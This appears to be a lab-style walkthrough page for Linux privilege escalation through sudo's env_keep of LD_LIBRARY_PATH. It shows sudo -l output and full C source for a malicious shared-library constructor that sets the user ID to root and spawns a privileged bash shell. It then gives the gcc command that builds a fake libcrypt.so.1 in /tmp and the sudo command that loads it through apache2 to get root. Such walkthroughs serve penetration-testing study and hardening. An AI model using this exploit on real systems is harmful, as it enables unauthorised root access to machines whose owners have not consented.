Skip to content

SUDO - library path

Sudo can be configured to inherit certain environment variables from the user's environment. Check which environment variables are inherited (look for the env_keep options):

sudo -l

--> Matching Defaults entries for user on this host:
-->     env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
--> 
--> User user may run the following commands on this host:
-->     (root) NOPASSWD: /usr/sbin/iftop
-->     (root) NOPASSWD: /usr/bin/find
-->     (root) NOPASSWD: /usr/bin/nano
-->     (root) NOPASSWD: /usr/bin/vim
-->     (root) NOPASSWD: /usr/bin/man
-->     (root) NOPASSWD: /usr/bin/awk
-->     (root) NOPASSWD: /usr/bin/less
-->     (root) NOPASSWD: /usr/bin/ftp
-->     (root) NOPASSWD: /usr/bin/nmap
-->     (root) NOPASSWD: /usr/sbin/apache2
-->     (root) NOPASSWD: /bin/more
  • LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment.
  • LD_PRELOAD loads a shared object before any others when a program is run.
  • LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

/home/user/tools/sudo/library_path.c

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

Run ldd against the apache2 program file to see which shared libraries are used by the program:

ldd /usr/sbin/apache2

--> linux-vdso.so.1 =>  (0x00007fff6e91d000)
--> libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f3f151ed000)
--> libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007f3f14fc9000)
--> libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007f3f14d8f000)
--> libpthread.so.0 => /lib/libpthread.so.0 (0x00007f3f14b73000)
--> libc.so.6 => /lib/libc.so.6 (0x00007f3f14807000)
--> libuuid.so.1 => /lib/libuuid.so.1 (0x00007f3f14602000)
--> librt.so.1 => /lib/librt.so.1 (0x00007f3f143fa000)
--> libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f3f141c3000)
--> libdl.so.2 => /lib/libdl.so.2 (0x00007f3f13fbe000)
--> libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f3f13d96000)
--> /lib64/ld-linux-x86-64.so.2 (0x00007f3f156aa000)

Create a shared object with the same name as one of the listed libraries using the code located at library_path.c:

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

Get Root

sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2